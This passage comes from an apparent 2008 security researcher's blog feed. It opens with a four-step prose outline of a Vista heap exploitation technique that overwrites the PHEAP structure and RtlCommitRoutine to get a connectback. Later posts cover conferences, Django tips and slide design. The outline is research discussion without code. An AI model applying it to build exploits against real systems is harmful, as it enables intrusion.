you will be able overwrite the data of that busy chunk.&lt;br /&gt;    Don't rush your rants, his obviously not pointing his chunk's pointer into a random busy chunk on the heap, that would be almost impossible to exploit reliable. Ben's magic goes much more further.&lt;br /&gt;    And this is nice trick: He basically makes the pointer land to the PHEAP, and since, the pheap is actually a chunk, the first of his own heap, he made the PHEAP chunk available for use to someone else. And if you combine that with a strdup [alloc/memcpy(yourstring)], you get realistic Vista Heap exploitation, without really relying on any -real- implementation trick.&lt;br /&gt;    And you don't need to know the address of the PHEAP, you probably just need to zero out the last numbers on the pointed chunk address ( 0x00452880 into 0x00452000, it depends obviously).&lt;br /&gt;    So the steps you have to do are quite simple:&lt;br /&gt;    1) Play with the heap in order to get a chunk's pointer next to your overwriting chunk&lt;br /&gt;    2) Overwrite the last numbers of that pointer to make it point to the pheap&lt;br /&gt;    3) Find a strdup, send a string, and overwrite the pheap including the heap cookie and the RtlCommitRutine.&lt;br /&gt;    4) Trigger some allocation extension and welcome your connectback!&lt;br /&gt;&lt;br /&gt;    Or you can do it in one big step, which is visiting me at Tokyo in February :&gt;&lt;br /&gt;&lt;br /&gt;Anyways, cheers to Ben for this great technique! I wishing to exchange some beers/wine some day!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-5217457028093422990?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/5217457028093422990/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=5217457028093422990' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5217457028093422990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5217457028093422990'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/12/thinks-to-do-in-japan-if-you-want-to.html' title='Things to do in Japan, if you want to exploit the heap'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm1.static.flickr.com/18/23407217_a563c3780c_t.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-3593374778373752841</id><published>2008-11-12T12:55:00.000-08:00</published><updated>2008-11-12T15:00:16.820-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='brazil'/><category scheme='http://www.blogger.com/atom/ns#' term='h2hc'/><category scheme='http://www.blogger.com/atom/ns#' term='keynote'/><title type='text'>H2HC Brazil</title><content type='html'>I'm back for a 4 days trip to Brazil for the H2HC conference.&lt;br /&gt;This year was held on the beatiful city of Sao Paulo, which turn out to be huge, with about 11 millions  in 1500 km square kilometers.&lt;br /&gt;Sao Paulo is well known for the street art, they have graphitys all around the city and apparently the thing there is who made the graphity in the most extreme place, so they go from your regular Joe's house to the 8th floor front of a big builiding, they even paint on churches  and big publicity signs (Although usually the most extreme ones are just letters in black).&lt;br /&gt;&lt;br /&gt;&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.ggpht.com/_aUReV5sSeqk/SRYpTBEtqRI/AAAAAAAADOM/5RZoD_Qurn8/s576/dsc01147.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 576px; height: 432px;" src="http://lh4.ggpht.com/_aUReV5sSeqk/SRYpTBEtqRI/AAAAAAAADOM/5RZoD_Qurn8/s576/dsc01147.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Anyways, I gave a keynote for the first time in my life and I believe it work out pretty well, people seems to have fun even tho they didnt laugh at my "simpsons taught me you speak spanish" joke to break the ice. A lot of people notice the effort I did on the design and congrats me on that, it worth the effort for sure! If you want to take a look at it, it can be downloaded &lt;a href="http://www.immunityinc.com/downloads/ApologyofOdays.pdf"&gt;HERE&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;After me, Edgard Barbosa talk about the new framework they are releasing for Hypervisor and seems pretty nice, I'll be waiting for the binary release (Check the &lt;a href="http://www.coseinc.com/"&gt;COSEINC&lt;/a&gt; website for more info).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.ggpht.com/_aUReV5sSeqk/SRYpbe37m3I/AAAAAAAADOs/mII_yZOTZkc/s576/dsc01153.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 576px; height: 432px;" src="http://lh3.ggpht.com/_aUReV5sSeqk/SRYpbe37m3I/AAAAAAAADOs/mII_yZOTZkc/s576/dsc01153.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Steve Adegbite gave a presentation about the new Microsoft program, I was too far from the speakers and couldn't get the whole presentation. I know he talked about MS Ecosystem, which i'm suscribed too, so I will get the scoop from there.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.ggpht.com/_aUReV5sSeqk/SRYphfGD10I/AAAAAAAADPE/AV6JqgvGo5U/s400/dsc01165.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://lh3.ggpht.com/_aUReV5sSeqk/SRYphfGD10I/AAAAAAAADPE/AV6JqgvGo5U/s400/dsc01165.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pablo's presentation on DEP rocks! I'm not sure if everyone got the idea of how cool and useful is the project he had been working on. He gave all the insight info, and I recommend to check out his slides for the &lt;a href="http://www.immunityinc.com/downloads/DEPLIB.pdf"&gt;whole thing&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Thats the last presentation I could see, since I spent my whole time on the Immunity booth we had at the H2HC:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/_aUReV5sSeqk/SRYpjIgLBxI/AAAAAAAADPM/UYRCrDCnXtM/s576/dsc01171.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 576px; height: 432px;" src="http://lh6.ggpht.com/_aUReV5sSeqk/SRYpjIgLBxI/AAAAAAAADPM/UYRCrDCnXtM/s576/dsc01171.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But I did escape for a little peek at:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Francisco Amato's on Evilgrade:&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.ggpht.com/_aUReV5sSeqk/SRYptTjRWHI/AAAAAAAADPg/4jyusKincME/s576/dsc01176.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 576px; height: 432px;" src="http://lh5.ggpht.com/_aUReV5sSeqk/SRYptTjRWHI/AAAAAAAADPg/4jyusKincME/s576/dsc01176.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Felibre Nobrega's Security on USB&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.ggpht.com/_aUReV5sSeqk/SRYpvxqvf7I/AAAAAAAADPw/qpDNisSv0HI/s576/dsc01186.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 576px; height: 432px;" src="http://lh5.ggpht.com/_aUReV5sSeqk/SRYpvxqvf7I/AAAAAAAADPw/qpDNisSv0HI/s576/dsc01186.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And Julio Auto's Reverse Engineer (Which I finally met. Its a great and smart guy, too bad the presentation was in Portuguese):&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_aUReV5sSeqk/SRtezlgj9LI/AAAAAAAADVU/4vXqAetvFec/s1600-h/dsc01190.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_aUReV5sSeqk/SRtezlgj9LI/AAAAAAAADVU/4vXqAetvFec/s400/dsc01190.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5267908429474952370" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The conference was really good, I get to practice my non-existance portuguese with two TV Station that make me an interview (Which was basically me showing how to own machines with CANVAS) and spent good times with a lot of new friends.&lt;br /&gt;&lt;br /&gt;I would like to thanks Rodrigo "BSDaemon" Rubira Branco and Felipe Balestra for inviting us to the conference. They did an amazing job and I bet people will appreciate it.&lt;br /&gt;&lt;br /&gt;Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-3593374778373752841?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/3593374778373752841/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=3593374778373752841' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3593374778373752841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3593374778373752841'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/11/h2hc-brazil.html' title='H2HC Brazil'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_aUReV5sSeqk/SRYpTBEtqRI/AAAAAAAADOM/5RZoD_Qurn8/s72-c/dsc01147.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6119552547266699301</id><published>2008-11-01T14:54:00.000-07:00</published><updated>2008-11-01T15:19:15.313-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='group_by'/><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='sao paulo'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='h2hc'/><category scheme='http://www.blogger.com/atom/ns#' term='count'/><category scheme='http://www.blogger.com/atom/ns#' term='or'/><category scheme='http://www.blogger.com/atom/ns#' term='nop certification'/><title type='text'>Caipirinha and Python tricks</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/SQzVb8s2glI/AAAAAAAADJs/aDQBce_xJus/s1600-h/bee_on_polen.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 266px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/SQzVb8s2glI/AAAAAAAADJs/aDQBce_xJus/s400/bee_on_polen.jpg" alt="" id="BLOGGER_PHOTO_ID_5263816740616700498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Yes, I don't have anything to blog about. And I know the rule, "If you are not better than the silence, then shut up".&lt;br /&gt;But here I'm been part of the interweb, where everyone show and nobody watch.&lt;br /&gt;&lt;br /&gt;Anyways, been doing a lot django development lately (yeah, that's -how- flexible my work is) and since we have to do a lot of things dynamic, I will show you a couple of tricks that might be useful.&lt;br /&gt;&lt;br /&gt;First, I have been  learning lisp on my free time, and that is why lately my code is all one liners:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;if a ? b : c&lt;/b&gt;&lt;br /&gt;in python:&lt;br /&gt;   ( b, c)[ a ]&lt;br /&gt;example:&lt;br /&gt;   ("bigger", "smaller or equal") [ a &lt;20 ]&lt;br /&gt;&lt;br /&gt;&lt;b&gt;dynamic arguments:&lt;/b&gt;&lt;br /&gt; function( *a, **b)&lt;br /&gt;example:&lt;br /&gt; function( **{ 'name': 'nico'} )&lt;br /&gt; is the same as: function(name="nico")&lt;br /&gt;&lt;br /&gt;django's trick:&lt;br /&gt;&lt;b&gt;Model's OR search&lt;/b&gt;:&lt;br /&gt;from django.db.models import Q&lt;br /&gt;model.objects.filter( Q(name="nico") | Q(lastname="waisman") )&lt;br /&gt;&lt;br /&gt;&lt;b&gt;COUNT and GROUP BY (undocumented):&lt;/b&gt;&lt;br /&gt;Find the names that get more repeated:&lt;br /&gt;c = model.objects.extra( select = {'entry_count': "count(name)"} )&lt;br /&gt;c.query.group_by = ['name']&lt;br /&gt;&lt;br /&gt;The information can get for the result object by accesing the "entry_count" fields. This will be unsorted, if you want to get the top 5 then (i wish there were another way, but couldn't find it):&lt;br /&gt;names = sorted( c, lambda x,y: cmp( y.entry_count, x.entry_count) )&lt;br /&gt;&lt;br /&gt;Don't you love lambda? Once you get used to the whole map, filter and reduce is like heroin, impossible to quit, unless you get into religion.&lt;br /&gt;&lt;br /&gt;Now the Caipirinha part of the post: Next thursday Pablo Solé and I will be flying to  the beatiful city of Sao Paulo in Brazil to present at the &lt;a href="http://www.h2hc.org.br/"&gt;H2HC&lt;/a&gt; conference. Immunity will have a booth, so please came by to said hi so we don't feel lonely :).&lt;br /&gt;We will be doing the NOP certification for the first time in latin america, so if you are around and hungry for stack overflows, contact us!&lt;br /&gt;&lt;br /&gt;Peace&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6119552547266699301?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6119552547266699301/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6119552547266699301' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6119552547266699301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6119552547266699301'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/11/caipirinha-and-python-tricks.html' title='Caipirinha and Python tricks'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/SQzVb8s2glI/AAAAAAAADJs/aDQBce_xJus/s72-c/bee_on_polen.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-8207138939071809198</id><published>2008-10-26T14:08:00.000-07:00</published><updated>2008-10-26T17:43:08.184-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bugs'/><category scheme='http://www.blogger.com/atom/ns#' term='slides'/><category scheme='http://www.blogger.com/atom/ns#' term='design'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Thoughts on slide design</title><content type='html'>One of the things researcher should think about, whether they like it or not, is slide design.&lt;br /&gt;Showing your results is an important part of the research, because its the point you justify the budget invested. Obviously, there is no need of slides when you got a remote on IIS 6, but for those of us who are mortals (a.k.a non-sinans) we need to show pretty things and make people happy.&lt;br /&gt;This not only apply for business meeting but most important for conferences.&lt;br /&gt;How many times you spent looking at lousy slides, full of bullet points that are in the middle between a paper and presentation slides. The true is, as Dave says,  you have two types of public: the one in the conference and the people that will download the slides later.&lt;br /&gt;But even if you have to keep in mind the online public, why not making your slides pretty?&lt;br /&gt;&lt;br /&gt;I have been researching about the best way to improve my slides, for the keynote i'm presenting at &lt;a href="http://www.h2hc.org.br/"&gt;H2HC&lt;/a&gt; in November.&lt;br /&gt;And here are some tips I have been collecting.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Is not about the software&lt;/b&gt;&lt;br /&gt;I have always thought that openoffice was ugly, and it actually is. But that doesn't mean you can make a wonderful presentation with it. Just avoid using their feature as much as possible. And if you have to do boxes, try to make them different as their are supposed to (drop the line, add transparency, shadow, use non-default color, etc).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DROP THE BULLETPOINT, USE IMAGES&lt;/span&gt;&lt;br /&gt;This is probably the best advice I can give. You presentation gets on a completely new level when you start adding images. Either if you use them as background or as an accessory, you need to get good resolution image. Let me repeat this again because is important, GOOD RESOLUTION. Don't accept anything less than 1024x768.&lt;br /&gt;If you can afford them, get them from &lt;a href="http://www.istockphoto.com/"&gt;www.istockphoto.com&lt;/a&gt;&lt;br /&gt;If you are poor Argentinian, you can get a lot of amazing images from &lt;a href="http://www.flickr.com/"&gt;flickr.com&lt;/a&gt;, the "advance search" allow you to search only for Creative Commons-licensed content.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Use the rule of third.&lt;/b&gt;&lt;br /&gt;I did a couple of photography's courses in the past and one of the most important lesson I got on composition was the famous rule of third. Basically you need to draw insivible lines dividing your photo vertically and horizontally in 3 parts, leaving 9 squares.&lt;br /&gt;The points where the invisible lines cross each other, are the aureal points, which are the places where the viewer puts more emphasis when looking at a picture.  A simple arrangement of the content can improve you slide a lot.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Balancing&lt;/b&gt;&lt;br /&gt;Your  slide need to be balanced. If you put all the attention on one side of your slide, there has to be text or image in the other side that can help the viewer keep their attention in the center of the image.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_aUReV5sSeqk/SQTc-p7iM0I/AAAAAAAADJc/sxUPFs55Spc/s1600-h/slide_balance.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 232px;" src="http://3.bp.blogspot.com/_aUReV5sSeqk/SQTc-p7iM0I/AAAAAAAADJc/sxUPFs55Spc/s400/slide_balance.jpg" alt="" id="BLOGGER_PHOTO_ID_5261573233641141058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Just Phrases&lt;/b&gt;&lt;br /&gt;Try to avoid as much text as possible. Only use phrases that help you with your statement. Slides are usually there to support your presentation rather than repeat what you have said.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_aUReV5sSeqk/SQTdklMs0FI/AAAAAAAADJk/VD20kXmk-1I/s1600-h/phrase.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 232px;" src="http://1.bp.blogspot.com/_aUReV5sSeqk/SQTdklMs0FI/AAAAAAAADJk/VD20kXmk-1I/s400/phrase.jpg" alt="" id="BLOGGER_PHOTO_ID_5261573885205991506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Slides take tremendous amount of work that you might not be able to invest, but if you do it, you won't regret it. But no matter how pretty you made your slides, at the end, it's always about the speaker.&lt;br /&gt;&lt;br /&gt;Peace&lt;br /&gt;&lt;br /&gt;PS: For those of us who can read spanish, the axolotl magazine has publish Cari's work on &lt;a href="http://www.revistaaxolotl.com.ar/esp28.htm"&gt;Heian's poetry&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-8207138939071809198?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/8207138939071809198/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=8207138939071809198' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8207138939071809198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8207138939071809198'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/10/thoughts-on-slide-design.html' title='Thoughts on slide design'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_aUReV5sSeqk/SQTc-p7iM0I/AAAAAAAADJc/sxUPFs55Spc/s72-c/slide_balance.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2771941051511641952</id><published>2008-10-15T16:49:00.000-07:00</published><updated>2008-10-15T17:10:56.608-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='conference'/><category scheme='http://www.blogger.com/atom/ns#' term='bacon'/><category scheme='http://www.blogger.com/atom/ns#' term='h2hc'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='ekoparty'/><title type='text'>Ba-Con and EkoParty 2008</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3246/2944435102_8c140b55dd_b.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://farm4.static.flickr.com/3246/2944435102_8c140b55dd_b.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;Testing, testing. One, two, three.&lt;br /&gt;Testing, testing. One, two, three.&lt;br /&gt;Maybe this is working. I don't know. If you can even hear me. I don't know.&lt;br /&gt;But if you can hear me, listen.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Conference season is over in Buenos Aires and it was a total success. Here is my small review&lt;br /&gt;&lt;br /&gt;dragos &lt;a href="http://www.ba-con.com.ar/"&gt;Ba-Con&lt;/a&gt; was in a really nice hotel in downtown Buenos Aires. If they keep it in the same place next year is gonna be even better, since they are changing the hotel's street into a big sidewalk and thats the Irish Pub's zone.&lt;br /&gt;I went through all the presentations, some of them I already read their ppt before, others were not really of my interest.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;SecViz 2007:&lt;/span&gt; was interesting. Splunk people made a really nice flash animation feed by xml that show information over time. If I were a network admin, i will totally used just to make my work look fancier.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;WPA/WPA2:&lt;/span&gt; It was good, actually the first time i ever went into a Cedric's talk.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;A Practical Approach to Mitigate and Remove Malware:&lt;/span&gt; It was a really good presentation, not because the material was good but rather Ching Tim Meng's skills as a presenter. He can make you laugh over Indonesia's cassava farming policy.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;Pass-the-hash Toolkit for Windows:&lt;/span&gt; The toolkit is pretty good, the research even better, specially if you keep in mind that Hernan did it back in 1992ad with softice. No symbols, no IDA. For some people it was like reversing with punched cards.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;Hacking PXE without reboot:&lt;/span&gt; I'm glad i finally met Julien. We talked a lot but never met the man behind ERESI. The presentation was pretty good, at some point he said "and now we are gonna read assembler" and there was assembler.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;Alex Sotirov's on Brownser:&lt;/span&gt; I did read the slides from their blackhat's presentation, but see it live was a jaw breaker. All my respect to Alex and Mark.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ekoparty.com.ar"&gt;Eko-Party&lt;/a&gt; was amazing. You can see the organizers hard work on their tired faces. We did two trainnings the first day, Pablo gave a condensed version of Unethical Hacking and Dami did the same for Stack Overflow. A bunch of people came into the training, hopefully we are gonna repeat the experience next year. (I'm glad i didn't put myself into any training/presentation, since i loose my voice on day 1, as Mariano Nuñez said, I sound like the godfather).&lt;br /&gt;&lt;br /&gt;I didn't went into many presentation since I had meeting and  stuff like that. But I get to see the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1st day:&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;Keynote: Dave Aitel &lt;/span&gt; Even tho my review wont't fair, i'm just going to said the 90's joke was hilarious.&lt;br /&gt;&lt;span style="color:#009900;"&gt;Pablo Sole's Adobe embedded talk&lt;/span&gt;  First time seeing pablo talking and he did amazingly good on stage.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Late Night Talks:&lt;/span&gt; (this was a really nice idea, basically they invite everyone into a bar and people gave 20 minutes talk)&lt;br /&gt;&lt;span style="color:#009900;"&gt;Fernando Gont on Something related with protocols:&lt;/span&gt; The presentation was too formal and technical (?!) to give it on a bar. I think only 3 people paid attention to their talk, and they were sitted on the same table. Anyways, fernando either has guts or he doesn't care. I think the dictionary add a new verb after him:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;gont&lt;/span&gt;: For the verb "&lt;span style="font-style: italic;"&gt;to gont&lt;/span&gt;"&lt;br /&gt;  Clarify the meaning of and discourse in a learned but boring way to a bunch of drunked hackers&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;Andrew Cushman's on Exploiting Index:&lt;/span&gt; It was good presentation for the bar and the result can be seen &lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-oct.mspx"&gt;here&lt;/a&gt;  (Apparently they know about our advisory leech script "ms.py", hehe)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2nd day&lt;/span&gt;:&lt;br /&gt;&lt;span style="color:#009900;"&gt;Sebastián García - Dime cómo atacas y te diré quién eres:&lt;/span&gt; Profiling attackers by the way they press keys on a shell or made mistake. I have to left the presentation in the middle, but apparently at the end he just said "all the things just presented, they don't work anymore these days". Brutally honest, for that last phrase he got my respect.&lt;br /&gt;&lt;span style="color:#009900;"&gt;Luciano Bello - Maximiliano Bertacchini Debian's OpenSSL random number generator Bug:&lt;/span&gt; Great presentation, lot of graphs of keys, computers, Alice and Bob. Although, I think there was a question never asked but i believe everyone wants to heard his answer "Did you regret publishing the bug?" :).&lt;br /&gt;&lt;span style="color:#009900;"&gt;Nicolas Economou - Alfredo Ortega Smartphones (in)security:&lt;/span&gt; Nice presentation, the climax got into its maximum peek when they hack their iphone's abo and SMS Luciano.&lt;br /&gt;&lt;br /&gt;That it. Been doing boring work the last week. If you want to heard the juicy details about this MS Tuesday, check out:&lt;br /&gt;&lt;a href="http://addxorrol.blogspot.com/"&gt;http://addxorrol.blogspot.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blogs.technet.com/swi/default.aspx"&gt;http://blogs.technet.com/swi/default.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Last but not least, We are gonna be soon in Brazil for the &lt;a href="http://www.h2hc.org.br/"&gt;H2HC&lt;/a&gt;! Pablo would be giving an cool presentation on ID's deplib.py and I will be giving the Keynote called "Apology of 0days". If you are in Sao Paulo the 8/9th of November, Immunity had a booth at the conference and we will be doing the NOP Certification&lt;br /&gt;&lt;br /&gt;Cheers&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2771941051511641952?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2771941051511641952/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2771941051511641952' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2771941051511641952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2771941051511641952'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/10/ba-con-and-ekoparty-2008.html' title='Ba-Con and EkoParty 2008'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3246/2944435102_8c140b55dd_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-8739127154207900863</id><published>2008-09-27T09:24:00.000-07:00</published><updated>2008-09-27T09:27:13.863-07:00</updated><title type='text'>None</title><content type='html'>If there is someone real that actually read this blog and it happend to be in 